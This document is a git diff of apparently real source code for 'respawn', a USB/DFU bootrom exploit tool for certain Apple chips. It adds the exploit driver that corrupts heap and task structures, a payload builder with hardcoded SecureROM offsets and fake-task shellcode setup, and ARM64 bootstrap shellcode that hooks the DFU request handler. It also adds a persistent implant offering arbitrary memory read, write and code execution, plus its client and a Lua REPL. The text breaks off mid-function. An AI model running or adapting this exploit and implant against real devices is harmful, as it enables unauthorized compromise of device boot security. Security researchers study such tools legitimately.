+} + +bool ExploitDriver::do_request_stall() { + auto result = transfer(2, 3, 0, 0x80, nullptr, 0); + return result.has_state(UsbTransferState::Stall); +} + +bool ExploitDriver::do_request_leak() { + auto result = + transfer(USB_RTF_HSD, USB_REQUEST_GET_DESCRIPTOR, 0x304, + USB_MAX_DESCRIPTOR_INDEX, nullptr, EP0_MAX_PACKET_SIZE); + return result.length == 0; +} + +bool ExploitDriver::run_reset_step() { + // Either initiate a new DFU transfer phase, or continue an existing one by + // sending an additional slice of data. In either case, ensure we are in the + // transfer phase after this point. + auto result = transfer(USB_RTF_DCI, DFU_REQUEST_DOWNLOAD, 0, 0, nullptr, + DFU_FILE_SUFFIX_SIZE); + if (!result.is_ok(DFU_FILE_SUFFIX_SIZE)) { + transfer(USB_RTF_DCI, DFU_REQUEST_CLEAR_STATUS, 0, 0, nullptr, 0); + return false; + } + + // End the DFU transfer phase by sending an empty slice. + result = transfer(USB_RTF_DCI, DFU_REQUEST_DOWNLOAD, 0, 0, nullptr, 0); + if (!result.is_ok(0)) { + transfer(USB_RTF_DCI, DFU_REQUEST_CLEAR_STATUS, 0, 0, nullptr, 0); + return false; + } + + DfuStatusReply reply{}; + constexpr std::array state_cycle = { + DFU_STATE_MANIFEST_SYNC, + DFU_STATE_MANIFEST, + DFU_STATE_MANIFEST_WAIT_RESET, + }; + + // Perform three status requests, as if we were about to boot whatever + // garbage we just uploaded. + for (const auto state : state_cycle) { + result = transfer(USB_RTF_HCI, DFU_REQUEST_GET_STATUS, 0, 0, &reply, 6); + if (!result.is_ok(sizeof(reply))) + goto abort; + if (!reply.has_state(DFU_STATUS_OK, state)) + goto abort; + } + + // Notably, at this point, we don't do a USB reset (which would instruct the + // device to boot whatever was uploaded), but rather, we start new DFU + // transfer phase. + result = transfer(USB_RTF_DCI, DFU_REQUEST_DOWNLOAD, 0, 0, nullptr, + EP0_MAX_PACKET_SIZE); + if (!result.is_ok(EP0_MAX_PACKET_SIZE)) + goto abort; + + // If we made it here, a "clean slate" transfer phase state has been achieved + // and the rest of the mischief can begin. + return true; + +abort: + transfer(USB_RTF_DCI, DFU_REQUEST_CLEAR_STATUS, 0, 0, nullptr, 0); + return false; +} + +bool ExploitDriver::run_setup_step() { + jsx::log_debug("Casting magic spell..."); + + unsigned timeout = 0; + for (;;) { + auto result = transfer_async(USB_RTF_DCI, DFU_REQUEST_DOWNLOAD, 0, 0, + nullptr, DFU_MAX_TRANSFER_SIZE, timeout); + if (!result.is_ok()) + return false; + + auto overwrite_size = PayloadBuilder::overwrite_size(m_chip); + if (result.length < overwrite_size) { + result = transfer(0, 0, 0, 0, nullptr, overwrite_size - result.length); + if (result.state != UsbTransferState::Stall) + goto retry; + + transfer(USB_RTF_DCI, DFU_REQUEST_CLEAR_STATUS, 0, 0, nullptr, 0); + return true; + } + + retry: + transfer(USB_RTF_DCI, DFU_REQUEST_DOWNLOAD, 0, 0, nullptr, + EP0_MAX_PACKET_SIZE); + + timeout = (timeout + 1) % SIOKU_DEFAULT_USB_TIMEOUT; + } +} + +bool ExploitDriver::run_patch_step() { + jsx::log_debug("Deploying bootstrap payload..."); + + auto payload = PayloadBuilder::make_bootstrap(m_chip); + if (m_dump_payloads) + dump_payload(payload, "bootstrap"); + + auto result = transfer(0, 0, 0, 0, payload); + if (!result.has_state(UsbTransferState::Stall)) + return false; + + transfer(USB_RTF_DCI, DFU_REQUEST_DOWNLOAD, 0, 0, nullptr, + EP0_MAX_PACKET_SIZE); + transfer(USB_RTF_DCI, DFU_REQUEST_CLEAR_STATUS, 0, 0, nullptr, 0); + return true; +} + +bool ExploitDriver::run() { + if (!run_reset_step()) { + jsx::log_error("Error: Failed to perform pre-exploit reset."); + return false; + } + + reconnect(); + if (!run_setup_step()) { + jsx::log_error("Error: Exploit conditions not achieved."); + return false; + } + + reconnect(); + if (!run_patch_step()) { + jsx::log_error("Error: Exploit failed to deploy."); + return false; + } + + reconnect(); + return true; +} diff --git a/src/implant/client.cpp b/src/implant/client.cpp new file mode 100644 index 0000000..a8e7244 --- /dev/null +++ b/src/implant/client.cpp @@ -0,0 +1,148 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#include "respawn/implant/client.h" + +#include "respawn/dfu.h" +#include "respawn/payload/builder.h" +#include "respawn/usb/protocol.h" + +#include + +ImplantClient::ImplantClient(UsbClient const &client) : UsbClient(client) {} + +UsbTransferResult ImplantClient::send_data(void *data, size_t size) { + // TODO: Realistically, every single transfer below should be checked, but + // this has worked for long enough without doing that. + + // Perform a DFU download of the given data. + transfer(USB_RTF_DCI, DFU_REQUEST_DOWNLOAD, 0, 0, nullptr, + DFU_FILE_SUFFIX_SIZE); + transfer(USB_RTF_DCI, DFU_REQUEST_DOWNLOAD, 0, 0, nullptr, 0); + transfer(USB_RTF_HCI, DFU_REQUEST_GET_STATUS, 0, 0, nullptr, 6); + transfer(USB_RTF_HCI, DFU_REQUEST_GET_STATUS, 0, 0, nullptr, 6); + transfer(USB_RTF_DCI, DFU_REQUEST_DOWNLOAD, 0, 0, data, size); + + // Perform a DFU upload to get the device's response. + return transfer(USB_RTF_HCI, DFU_REQUEST_UPLOAD, 0xFFFF, 0, data, size); +} + +UsbTransferResult ImplantClient::send_message(RspnMessage &message) { + return send_data(&message, sizeof(RspnMessage)); +} + +bool ImplantClient::install() { + auto implant = PayloadBuilder::make_implant(); + send_data(implant.data(), implant.size()); + + return test(); +} + +bool ImplantClient::test() { + RspnMessage message; + rspn_message_init(&message, RSPN_MESSAGE_TYPE_TEST, 0); + message.length = 8; + + return send_message(message).is_ok() && message.body[0] == 1; +} + +bool ImplantClient::write_memory_single(uint64_t address, uint8_t const *data, + uint32_t length) { + jsx::log_debug("Writing %#x bytes to %#llx...", length, address); + + RspnMessage message; + rspn_message_init(&message, RSPN_MESSAGE_TYPE_WRITE, address); + rspn_message_set_body(&message, data, length); + + return send_message(message).is_ok(); +} + +std::vector ImplantClient::read_memory_single(uint64_t address, + uint32_t length) { + jsx::log_debug("Reading %#x bytes from %#llx...", length, address); + + RspnMessage message; + rspn_message_init(&message, RSPN_MESSAGE_TYPE_READ, address); + message.length = + std::min(length, static_cast(RSPN_MESSAGE_BODY_SIZE)); + + if (!send_message(message).is_ok()) { + jsx::log_error("Error: Failed to read device memory."); + return {}; + } + + return {message.body, message.body + length}; +} + +std::vector ImplantClient::read_memory(uint64_t address, + uint32_t length) { + std::vector result; + result.reserve(length); + + uint32_t offset = 0; + while (offset < length) { + auto chunk_size = std::min(static_cast(RSPN_MESSAGE_BODY_SIZE), + length - offset); + auto chunk = read_memory_single(address + offset, chunk_size); + if (chunk.empty()) + break; + + result.insert(result.end(), chunk.begin(), chunk.end()); + + offset += chunk_size; + usleep(100); + } + + return result; +} + +bool ImplantClient::write_memory(uint64_t address, + std::vector const &data) { + return write_memory(address, data.data(), data.size()); +} + +bool ImplantClient::write_memory(uint64_t address, uint8_t const *data, + uint32_t length) { + uint32_t offset = 0; + while (offset < length) { + auto chunk_size = std::min(static_cast(RSPN_MESSAGE_BODY_SIZE), + length - offset); + if (!write_memory_single(address + offset, &data[offset], chunk_size)) + return false; + + offset += chunk_size; + usleep(100); + } + + return true; +} + +RegisterState ImplantClient::execute(uint64_t destination, + RegisterState const &args) { + jsx::log_debug("Branching to %#llx...", destination); + + uint64_t registers[8] = {0}; + for (size_t i = 0; i < args.size(); ++i) { + if (i >= 8) + break; + + registers[i] = args[i]; + } + + RspnMessage message; + rspn_message_init(&message, RSPN_MESSAGE_TYPE_EXECUTE, destination); + rspn_message_set_body(&message, reinterpret_cast(registers), + sizeof(registers)); + + if (!send_message(message).is_ok()) { + jsx::log_error("Error: Failed to set registers & branch."); + return RegisterState{8, std::numeric_limits::max()}; + } + + auto body = reinterpret_cast(message.body); + return RegisterState{body, body + 8}; +} diff --git a/src/implant/message.c b/src/implant/message.c new file mode 100644 index 0000000..b3b1a92 --- /dev/null +++ b/src/implant/message.c @@ -0,0 +1,35 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#include "respawn/implant/message.h" + +#include "string.h" + +void rspn_message_init(RspnMessage *message, uint32_t type, uint64_t arg) { + message->magic = RSPN_MESSAGE_MAGIC; + message->type = type; + message->reserved = 0; + message->arg = arg; + + rspn_message_clear_body(message); +} + +void rspn_message_clear_body(RspnMessage *message) { + message->length = 0; + memset(&message->body, 0, RSPN_MESSAGE_BODY_SIZE); +} + +void rspn_message_set_body(RspnMessage *message, uint8_t const *data, + uint16_t length) { + rspn_message_clear_body(message); + + if (length > RSPN_MESSAGE_BODY_SIZE) + length = RSPN_MESSAGE_BODY_SIZE; + + message->length = length; + memcpy(&message->body, data, length); +} diff --git a/src/main.cpp b/src/main.cpp new file mode 100644 index 0000000..4b7b38f --- /dev/null +++ b/src/main.cpp @@ -0,0 +1,137 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#include "respawn/exploit/driver.h" +#include "respawn/implant/client.h" +#include "respawn/repl.h" +#include "respawn/usb/client.h" + +#include +#include + +#include + +constexpr auto USAGE = R"(Usage: respawn [-spIrvVh] + +Options: + -s, --serial Only print the device's serial, then exit + -p, --dump-payload Dump constructed payload(s) to disk + -I, --no-implant Skip implant installation + -r, --repl Launch the Lua REPL after exploitation + -v, --verbose Enable verbose output + -V, --very-verbose Enable very verbose output + -h, --help Show help and usage info +)"; + +enum class DeviceState { + PreExploit, + PostExploit, + HasImplant, +}; + +DeviceState detect_device_state(UsbClient &client) { + auto serial = client.serial_number(); + if (serial.find("RSPN") == std::string::npos) + return DeviceState::PreExploit; + + // Check for installed implant. + ImplantClient implant(client); + if (implant.test()) + return DeviceState::HasImplant; + + return DeviceState::PostExploit; +} + +static Chip parse_cpid(const std::string &serial) { + if (serial.find("CPID:7000") != std::string::npos) + return Chip::T7000; + if (serial.find("CPID:8000") != std::string::npos) + return Chip::S8000; + if (serial.find("CPID:8003") != std::string::npos) + return Chip::S8003; + + return Chip::Invalid; +} + +int main(int argc, char const **argv) { + argh::parser args(argc, argv, argh::parser::SINGLE_DASH_IS_MULTIFLAG); + if (args[{"-h", "--help"}]) { + std::cout << USAGE; + return 0; + } + + bool flag_verbose = args[{"-v", "--verbose"}]; + bool flag_very_verbose = args[{"-V", "--very-verbose"}]; + bool flag_serial_only = args[{"-s", "--serial"}]; + bool flag_dump_payload = args[{"-p", "--dump-payload"}]; + bool flag_no_implant = args[{"-I", "--no-implant"}]; + bool flag_repl = args[{"-r", "--repl"}]; + + if (flag_very_verbose) + jsx::set_log_level(jsx::LogLevel::Trace); + else if (flag_verbose) + jsx::set_log_level(jsx::LogLevel::Debug); + if (!std::getenv("NO_COLOR")) + jsx::set_log_option(jsx::LogOption::Color, true); + + UsbClient usb_client(USB_VENDOR_ID_APPLE, USB_PRODUCT_ID_DFU); + usb_client.connect(); + + auto serial = usb_client.serial_number(); + if (flag_serial_only) { + jsx::log_info("%s", serial.c_str()); + return 0; + } + + auto chip = parse_cpid(serial); + if (chip == Chip::Invalid) { + jsx::log_error("Error: Unsupported device."); + return 1; + } + + auto state = detect_device_state(usb_client); + if (state == DeviceState::PreExploit) { + jsx::log_debug("Clean DFU state detected; deploying initial exploit..."); + + ExploitDriver exploit_driver(usb_client, chip, flag_dump_payload); + if (!exploit_driver.run()) { + // No need to print an error message here; an appropriate error message + // will already have been printed before returning from `run`. + return 1; + } + + auto new_serial = usb_client.serial_number(); + if (new_serial.find("RSPN") == std::string::npos) { + jsx::log_error("Error: Exploit failed to execute properly."); + return 1; + } + + state = DeviceState::PostExploit; + } + + if (state == DeviceState::PostExploit && !flag_no_implant) { + jsx::log_debug("Implant not installed; installing implant..."); + + ImplantClient implant_client(usb_client); + if (!implant_client.install()) { + jsx::log_error("Error: Implant failed to install or is non-operational."); + return 1; + } + + state = DeviceState::HasImplant; + } + + if (state == DeviceState::HasImplant && flag_repl) { + jsx::log_debug("Implant found; launching REPL..."); + + Repl repl(usb_client); + return repl.run(); + } + + usb_client.disconnect(); + return 0; +} diff --git a/src/payload/bootstrap.s b/src/payload/bootstrap.s new file mode 100644 index 0000000..ddf1dd1 --- /dev/null +++ b/src/payload/bootstrap.s @@ -0,0 +1,216 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#include "respawn/payload/constants.h" + + // Invalidate the cache line that holds the argument. + .macro DCI arg + dc civac, \arg + dmb sy + .endm + + // Invalidate the instruction cache (and more). + .macro ICI + ic iallu + dsb sy + isb + .endm + +bootstrap: + stp x29, x30, [sp, #-0x10]! + + tst REG_OPTIONS, #OPT_DEMOTE + b.eq L__post_demote + + str wzr, [REG_CHIPID_BASE] + + tst REG_OPTIONS, #OPT_HALT + b.eq L__post_demote + +L__spin: + b L__spin + +L__post_demote: + tst REG_OPTIONS, #OPT_TAG_SERIAL + b.eq L__post_tag_serial + + mov x0, REG_SERIAL +L__find_serial_terminator: + ldrb w1, [x0, #1]! + cbnz w1, L__find_serial_terminator + + // Tag the end of serial string. + adr x1, serial_tag_string + ldp x2, x3, [x1] + stp x2, x3, [x0] + + // Re-create the USB descriptor for the serial. This is necessary for + // the serial string to actually update. + mov x0, REG_SERIAL + blr REG_USB_CREATE_DESC_FN + strb w0, [REG_USB_SERIAL_DESC] + +L__post_tag_serial: + tst REG_OPTIONS, #OPT_INSTALL_HOOK + b.eq L__bootstrap_end + + // There is a limited amount that can be done to the device during the + // initial exploitation alone. Among other reasons, this payload is + // limited in size and therefore cannot embed elaborate procedures. In + // order to perform more complex operations, some form of persistence + // on the device is needed so the host can communicate with the device. + // + // Each USB interface has a function pointer to its request handler. By + // overwriting this pointer with the address of our own code, we can + // effectively intercept all USB requests seen by the interface (in + // this case, the DFU interface). + // + // This allows us to perform special communication with the device via + // the parameters of each USB request, which are trivially controllable + // by the host. + ldr x6, [REG_DFU_HANDLE_REQUEST_FN_PTR] + str REG_COPY_DEST, [REG_DFU_HANDLE_REQUEST_FN_PTR] + DCI REG_DFU_HANDLE_REQUEST_FN_PTR + + // The USB request hook we install will need access to a few + // target-specific constants (which are currently sitting in registers, + // courtesy of the initial exploit) that need to be copied somewhere + // safe before they are clobbered. + adr x4, dfu_handle_request + str x6, [x4] + str REG_DFU_BASE, [x4, #8]! + str REG_USB_TRANSFER_FN, [x4, #8]! + str REG_DFU_HANDLE_REQUEST_FN_PTR, [x4, #8]! + + // Finally, the code for the USB request hook needs to actually be + // copied to the address that DFU USB interface now points to. + adr x4, basic_hook + adr x5, basic_hook_end +L__copy: + // TODO: This could probably be optimized by using LDP/STP, but is that + // really worth breaking a working exploit? + ldr x0, [x4], #8 + str x0, [REG_COPY_DEST], #8 + + cmp x4, x5 + b.lo L__copy + + // Invalidate all the caches for good fortune. + ICI + +L__bootstrap_end: + ldp x29, x30, [sp], #0x10 + ret + +//------------------------------------------------------------------------------ + +basic_hook: + // Check the request parameters; anything that isn't a DFU upload + // request (0xA1, 2) should be ignored and handled normally. + ldrh w2, [x0] + cmp w2, #0x2A1 + b.eq upload_handler + + ldr x7, dfu_handle_request + br x7 + +dfu_handle_request: + // Address of the real DFU request handler so we can forward requests + // we don't want to intercept. + .quad 0x3f3f3f3f3f3f3f3f + +dfu_base_address: + // DFU download buffer base address (where we can place data over USB). + .quad 0x3f3f3f3f3f3f3f3f + +usb_core_do_transfer: + // Address of the `usb_core_do_transfer` function, used to gracefully + // complete intercepted requests. + .quad 0x3f3f3f3f3f3f3f3f + +dfu_handle_request_ptr: + // Address of the request handler pointer on the DFU USB interface + // structure so this hook can be replaced later. + .quad 0x3f3f3f3f3f3f3f3f + +upload_handler: + stp x29, x30, [sp, #-0x10]! + mov x29, sp + stp x20, x19, [sp, #-0x10]! + + // Preserve the pointer to the USB request structure in X0. + mov x19, x0 + + // This hook only exists to facilitate the installation of a + // subsequent, arbitrary payload. This allows said payload to be + // developed out-of-band and swapped out easily by the host, e.g. to + // perform different tasks. + // + // As such, this hook is designed to do only one thing: copy whatever + // payload was uploaded to the DFU buffer to somewhere else in memory, + // then register it as the request handler for the DFU USB interface. + ldr w3, upload_eof_magic + ldr x20, dfu_base_address + adr x1, upload_base +L__upload_copy_loop: + ldr x0, [x20], #8 + str x0, [x1], #8 + + // Check if the "stop copying" magic has been found; obey it if so. + ldr w2, [x20] + cmp w2, w3 + b.ne L__upload_copy_loop + + // It is assumed that the payload uploaded has a similar pool of + // constants to this one at offset 0x14. Any payloads uploaded will + // have to match this format, but as a reward, will have said constant + // pool updated with correct values before use. + adr x4, upload_base + add x4, x4, #0x14 + ldr x6, dfu_handle_request + str x6, [x4], #8 + ldr x6, dfu_base_address + str x6, [x4], #8 + ldr x6, usb_core_do_transfer + str x6, [x4], #8 + + // Switch the USB request handler over to the new payload. + adr x1, upload_base + ldr x0, dfu_handle_request_ptr + str x1, [x0] + + // Trash the cache again for good fortune. + DCI x0 + ICI + + // Gracefully complete the USB request (so the USB task doesn't die). + mov w0, #0x80 + mov x1, x20 + ldrh w2, [x19, #6] + mov x3, #0 + ldr x4, usb_core_do_transfer + blr x4 + + mov w0, #0 + ldp x20, x19, [sp], #0x10 + ldp x29, x30, [sp], #0x10 + ret + +upload_eof_magic: + // Magic value which must be appended to any payload uploaded to + // indicate copying should stop, since the copy logic isn't designed to + // use a size parameter, etc. + .dword 0x41414141 + + .align 3 +basic_hook_end: +serial_tag_string: + .asciz " RSPN:666" + + .align 3 +upload_base: + .quad 0x4040404040404040 diff --git a/src/payload/builder.cpp b/src/payload/builder.cpp new file mode 100644 index 0000000..bd509a9 --- /dev/null +++ b/src/payload/builder.cpp @@ -0,0 +1,162 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#include "respawn/payload/builder.h" + +#include "respawn/dfu.h" +#include "respawn/payload/constants.h" +#include "respawn/payload/types.h" + +#include "bootstrap.h" +#include "implant.h" + +struct PayloadAppendixA8A9 { + RomTask synopsys_task{}; + RomHeapBlock heap_block{}; + RomTask fake_task{}; +}; + +struct OffsetsA8A9 { + uint64_t io_buffer; + uint64_t arch_task_tramp_fn; + uint64_t synopsys_routine_fn; + + uint64_t dfu_base; + uint64_t serial; + uint64_t usb_serial_desc; + uint64_t dfu_handle_request_fn_ptr; + uint64_t copy_dest; + uint64_t usb_transfer_fn; + uint64_t chipid_base; + uint64_t usb_create_desc_fn; +}; + +constexpr OffsetsA8A9 offsets_t7000 = { + .io_buffer = 0x18010D300, + .arch_task_tramp_fn = 0x10000D988, + .synopsys_routine_fn = 0x100005530, + .dfu_base = 0x180380000, + .serial = 0x1800888C8, + .usb_serial_desc = 0x18008062A, + .dfu_handle_request_fn_ptr = 0x180088878, + .copy_dest = 0x1800E0C00, + .usb_transfer_fn = 0x10000ebb4, + .chipid_base = 0x20E02A000, + .usb_create_desc_fn = 0x10000E074, +}; + +constexpr OffsetsA8A9 offsets_s8000 = { + .io_buffer = 0x18010D500, + .arch_task_tramp_fn = 0x10000D998, + .synopsys_routine_fn = 0x100006718, + .dfu_base = 0x180380000, + .serial = 0x180087958, + .usb_serial_desc = 0x1800807DA, + .dfu_handle_request_fn_ptr = 0x1800878F8, + .copy_dest = 0x1800E0C00, + .usb_transfer_fn = 0x10000EE78, + .chipid_base = 0x2102BC000, + .usb_create_desc_fn = 0x10000E354, +}; + +std::vector +PayloadBuilder::make_payload_a8a9(OffsetsA8A9 const &offsets, + unsigned char const *shellcode, + size_t shellcode_size) { + PayloadAppendixA8A9 appendix{}; + + auto const shared_stack_base = + offsets.io_buffer + offsetof(PayloadAppendixA8A9, fake_task); + + auto populate_synopsys_task = [=, &offsets](RomTask &task) { + // Nothing before the callout member is copied, so there is no need to + // populate those fields, e.g. the start magic. + + task.stack_base = shared_stack_base; + task.stack_len = TASK_STACK_LEN_MIN; + + task.waiters.prev = task.stack_base + offsetof(RomTask, queue); + task.waiters.next = task.waiters.prev; + task.routine = offsets.synopsys_routine_fn; + + std::strcpy(task.name, "usb"); + task.id = 5; + task.end_magic = TASK_END_MAGIC; + }; + + auto populate_fake_task = [=, &offsets](RomTask &task) { + task.start_magic = TASK_START_MAGIC; + + task.queue.prev = offsets.io_buffer + offsetof(RomTask, waiters); + task.queue.next = task.queue.prev; + task.state = ROM_TASK_STATE_RUNNING; + task.irq_disable_count = 1; + + task.stack_base = shared_stack_base; + task.stack_len = TASK_STACK_LEN_MIN; + + // Populate saved registers with values to pass to the shellcode. + task.arch.x[REG_DFU_BASE] = offsets.dfu_base; + task.arch.x[REG_SERIAL] = offsets.serial; + task.arch.x[REG_USB_SERIAL_DESC] = offsets.usb_serial_desc; + task.arch.x[REG_DFU_HANDLE_REQUEST_FN_PTR] = + offsets.dfu_handle_request_fn_ptr; + task.arch.x[REG_COPY_DEST] = offsets.copy_dest; + task.arch.x[REG_USB_TRANSFER_FN] = offsets.usb_transfer_fn; + task.arch.x[REG_CHIPID_BASE] = offsets.chipid_base; + task.arch.x[REG_USB_CREATE_DESC_FN] = offsets.usb_create_desc_fn; + task.arch.x[REG_OPTIONS] = OPT_DEMOTE | OPT_TAG_SERIAL | OPT_INSTALL_HOOK; + + task.arch.sp = task.stack_base + task.stack_len; + task.arch.lr = offsets.arch_task_tramp_fn; + + // Copy shellcode into saved vector registers space. + std::memcpy(task.arch.vregs, shellcode, shellcode_size); + + task.waiters.prev = task.stack_base + offsetof(RomTask, waiters); + task.waiters.next = task.waiters.prev; + + // Point the task's entry point to the shellcode. + task.routine = task.stack_base + offsetof(RomTask, arch.vregs); + + std::strcpy(task.name, "rspn"); + task.id = 6; + task.end_magic = TASK_END_MAGIC; + }; + + populate_synopsys_task(appendix.synopsys_task); + + // The "size" members on heap blocks are measured in units of the size of the + // heap block structure. + appendix.heap_block.prev_size = + sizeof(appendix.synopsys_task) / sizeof(RomHeapBlock) + 1; + appendix.heap_block.size = + appendix.synopsys_task.stack_len / sizeof(RomHeapBlock) + 2; + + populate_fake_task(appendix.fake_task); + + auto payload = reinterpret_cast(&appendix.synopsys_task.callout); + return {payload, payload + sizeof(PayloadAppendixA8A9) - + offsetof(PayloadAppendixA8A9, synopsys_task.callout)}; +} + +uint32_t PayloadBuilder::overwrite_size(Chip chip) { + // This once mattered when T8015 was supported but remains in case said + // support is added back one day. + (void)chip; + + return offsetof(PayloadAppendixA8A9, synopsys_task.callout); +} + +std::vector PayloadBuilder::make_bootstrap(Chip chip) { + return make_payload_a8a9(chip == Chip::T7000 ? offsets_t7000 : offsets_s8000, + bootstrap, bootstrap_len); +} + +std::vector PayloadBuilder::make_implant() { + return {implant, implant + implant_len}; +} diff --git a/src/payload/implant.s b/src/payload/implant.s new file mode 100644 index 0000000..74543dc --- /dev/null +++ b/src/payload/implant.s @@ -0,0 +1,162 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#include "respawn/implant/protocol.h" + + // Be sure to update these if the message structure changes! + .equ MESSAGE_MAGIC_OFFSET, 0x00 + .equ MESSAGE_TYPE_OFFSET, 0x08 + .equ MESSAGE_ARG_OFFSET, 0x10 + .equ MESSAGE_LENGTH_OFFSET, 0x18 + .equ MESSAGE_BODY_OFFSET, 0x20 + +hook: + ldrh w2, [x0] + cmp w2, #0x2A1 + b.eq custom_handler + + ldr x7, dfu_handle_request + br x7 + + // More context about these constants in `bootstrap.s`. +dfu_handle_request: + .quad 0x3f3f3f3f3f3f3f3f +dfu_base_address: + .quad 0x3f3f3f3f3f3f3f3f +usb_core_do_transfer: + .quad 0x3f3f3f3f3f3f3f3f + +custom_handler: + stp x29, x30, [sp, #-0x10]! + mov x29, sp + stp x20, x19, [sp, #-0x10]! + + // Use X19 and X20 to hold the the request struct address and DFU base + // address, respectively, for the entire span of the function. + mov x19, x0 + ldr x20, dfu_base_address + + ldr x0, [x20, #MESSAGE_MAGIC_OFFSET] + ldr x1, message_magic + cmp x0, x1 + b.ne L__request_done + + ldr w0, [x20, #MESSAGE_TYPE_OFFSET] + cmp x0, #RSPN_MESSAGE_TYPE_READ + b.eq L__read + cmp x0, #RSPN_MESSAGE_TYPE_WRITE + b.eq L__write + cmp x0, #RSPN_MESSAGE_TYPE_EXECUTE + b.eq L__execute + cmp x0, #RSPN_MESSAGE_TYPE_TEST + b.eq L__test + + // Do nothing if the message type was unknown. + b L__request_done + +L__test: + // The test command is simply increments the value at the start of the + // message body as proof that the implant is installed and working. + ldr x0, [x20, #MESSAGE_BODY_OFFSET] + add x0, x0, #1 + str x0, [x20, #MESSAGE_BODY_OFFSET] + + b L__request_done + +L__execute: + // For execute messages, the argument is the address to branch to. + // + // NOTE: The X14 register is strategically used for holding important + // values here and in the rest of this file because it is rarely + // clobbered by code in SecureROM. This means it is often still intact + // if a panic occurs, which might aid debugging. + ldr x14, [x20, #MESSAGE_ARG_OFFSET] + + // The body of an execute message is used to hold up to eight function + // arguments. Each argument is loaded into registers X0-X7. + ldp x0, x1, [x20, #MESSAGE_BODY_OFFSET + 0x00] + ldp x2, x3, [x20, #MESSAGE_BODY_OFFSET + 0x10] + ldp x4, x5, [x20, #MESSAGE_BODY_OFFSET + 0x20] + ldp x6, x7, [x20, #MESSAGE_BODY_OFFSET + 0x30] + blr x14 + + // Write the post-return register state to the response message's body. + stp x0, x1, [x20, #MESSAGE_BODY_OFFSET + 0x00] + stp x2, x3, [x20, #MESSAGE_BODY_OFFSET + 0x10] + stp x4, x5, [x20, #MESSAGE_BODY_OFFSET + 0x20] + stp x6, x7, [x20, #MESSAGE_BODY_OFFSET + 0x30] + + b L__request_done + +L__write: + ldr x14, [x20, #MESSAGE_ARG_OFFSET] + ldr x3, [x20, #MESSAGE_LENGTH_OFFSET] + add x4, x20, #MESSAGE_BODY_OFFSET + +L__write_loop: + cbz x3, L__request_done + + cmp x3, #8 + b.lo L__write_byte + + // Copy the next chunk of data. + ldr x1, [x4], #8 + str x1, [x14], #8 + sub x3, x3, #8 + b L__write_loop + +L__write_byte: + ldrb w0, [x4], #1 + strb w0, [x14], #1 + sub x3, x3, #1 + b L__write_loop + +L__read: + ldr x14, [x20, #MESSAGE_ARG_OFFSET] + ldr x3, [x20, #MESSAGE_LENGTH_OFFSET] + add x4, x20, #MESSAGE_BODY_OFFSET + +L__read_loop: + cbz x3, L__request_done + + cmp x3, #8 + b.lo L__read_byte + + // Copy the next chunk of data. + ldr x1, [x14], #8 + str x1, [x4], #8 + sub x3, x3, #8 + b L__read_loop + +L__read_byte: + ldrb w0, [x14], #1 + strb w0, [x4], #1 + sub x3, x3, #1 + b L__read_loop + +L__request_done: + // Kindly finish the USB request. + mov w0, #0x80 + mov x1, x20 + ldrh w2, [x19, #6] + mov x3, #0 + ldr x4, usb_core_do_transfer + blr x4 + + mov w0, #0 + ldp x20, x19, [sp], #0x10 + ldp x29, x30, [sp], #0x10 + ret + +message_magic: + .quad RSPN_MESSAGE_MAGIC + + // EOF magic for the copy primitive provided by `bootstrap.s`. + // + // Under penalty of law, this tag not to be removed except by the consumer. + .align 8 + .quad 0x4141414141414141 diff --git a/src/repl.cpp b/src/repl.cpp new file mode 100644 index 0000000..22cbd10 --- /dev/null +++ b/src/repl.cpp @@ -0,0 +1,106 @@ +// +// Copyright (c) 2022-2023 Jon Palmisciano. All rights reserved. +// +// Use of this source code is governed by the BSD 3-Clause license; a full +// copy of the license can be found in the LICENSE.txt file. +// + +#include "respawn/repl.h" + +#include "respawn/implant/client.h" + +#include +#include + +#include + +#define SOL_ALL_SAFETIES_ON 1 +#include + +#define REG_VALUE_FMT "0x%016llx" + +Repl::Repl(UsbClient const &usb_client) : m_implant(usb_client) { + m_lua.open_libraries(sol::lib::base, sol::lib::package, sol::lib::string, + sol::lib::table); + + m_lua["__respawn_read"] = [this](uint64_t address, uint32_t length) { + return sol::as_table(m_implant.read_memory(address, length)); + }; + m_lua["__respawn_write"] = [this](uint64_t address, std::string text) { + m_implant.write_memory(address, {text.begin(), text.end()}); + }; + m_lua["__respawn_exec"] = [this](uint64_t address, + std::vector regs) { + return sol::as_table(m_implant.execute(address, regs)); + }; + m_lua["__respawn_reconnect"] = [this] { return m_implant.reconnect(); }; + + m_lua["__hex_dump"] = [](std::vector bytes, size_t base) { + jsx::log_info("%s", jsx::hex_format_dump(bytes, base).c_str()); + }; + m_lua["__hex_print"] = [](std::vector bytes) { + jsx::log_info("%s", jsx::hex_encode(bytes).c_str()); + }; + + // Configure the package load path so the provided Lua modules are visible, + // then load the initialization module. + m_lua.script("package.path = './lua/?.lua;' .. package.path"); + m_lua.script("require 'init'"); +} + +void Repl::print_stack_top(lua_State *lua_state, bool did_add_return) { + // Now that we've executed our code, remove its associated + // function from the stack so that it is not printed below. If a + // return statement was not added, an additional stack item (for + // the failed returnified code) needs to be removed. + lua_remove(lua_state, -2); + if (!did_add_return) + lua_pop(lua_state, 1); + + // Check if there is anything on the stack to be printed. + int item_count = lua_gettop(lua_state); + if (item_count <= 0) + return; + + // Force a call to print to display the return value. + lua_getglobal(lua_state, "print"); + lua_insert(lua_state, 1); + lua_pcall(lua_state, item_count, 0, 0); +} + +int Repl::run() { + if (!m_implant.test()) { + jsx::log_error("Error: Implant missing or non-operational."); + return 1; + } + + auto 